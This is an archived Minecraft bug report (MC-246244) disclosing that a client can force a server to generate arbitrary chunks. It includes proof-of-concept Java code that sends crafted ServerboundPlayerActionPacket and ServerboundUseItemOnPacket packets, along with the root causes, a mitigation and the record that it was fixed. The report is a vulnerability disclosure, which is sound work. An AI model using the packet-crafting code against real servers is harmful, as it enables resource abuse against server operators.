Mojira Archive
MC-246244

A client can generate an arbitrary chunk in the server

A client can request the server to generate an arbitrary chunk by sending ServerboundPlayerActionPacket or ServerboundUseItemOnPacket. (this seems to be patched by PaperMC/Paper server)

For example, using the following code in net/minecraft/client/player/LocalPlayer.java, and trying to send `5000,5000` in chat will cause the server to generate the region located at
5000, 5000 (this can be confirmed by `world/region/r.5000.5000.mca` is present in server).

    public void chat(String s) {
        String[] split = s.split(",");
        if (split.length == 2) {
            try {
                int regionX = Integer.parseInt(split[0]);
                int regionZ = Integer.parseInt(split[1]);
                int chunkX = regionX << 5;
                int chunkZ = regionZ << 5;
                int blockX = chunkX << 4;
                int blockZ = chunkZ << 4;
                var pos = new Vec3(blockX, 60, blockZ);
                // ServerboundPlayerActionPacket
                this.connection.send(new ServerboundPlayerActionPacket(ServerboundPlayerActionPacket.Action.STOP_DESTROY_BLOCK, new BlockPos(pos), Direction.NORTH));
                // ServerboundUseItemOnPacket
                this.connection.send(new ServerboundUseItemOnPacket(InteractionHand.MAIN_HAND, new BlockHitResult(pos, Direction.DOWN, new BlockPos(pos), false)));
                return;
            } catch (NumberFormatException ignored) {}
        }
        this.connection.send(new ServerboundChatPacket(s));
    }

For ServerboundPlayerActionPacket, this is caused by the handleBlockBreakAction method in `net/minecraft/server/level/ServerPlayerGameMode.java` when trying to send "too far" and "too high" packets. This can be mitigated by just removing the line which is trying to send these packets.

For ServerboundUseItemOnPacket, this is (probably) caused by missing `return;` in `ServerGamePacketListenerImpl#handleUseItemOn(ServerboundUseItemOnPacket)` and invoking `ClientboundBlockUpdatePacket#<init>(BlockGetter, BlockPos)`, then `blockGetter.getBlockState(blockPos)` inside the constructor.

Fixed

boat

[Mojang] Panda

2021-12-25, 04:14 AM

2022-02-09, 01:23 PM

2022-02-09, 01:23 PM

0

1

Plausible

Important

Networking

1.18.1

22w06a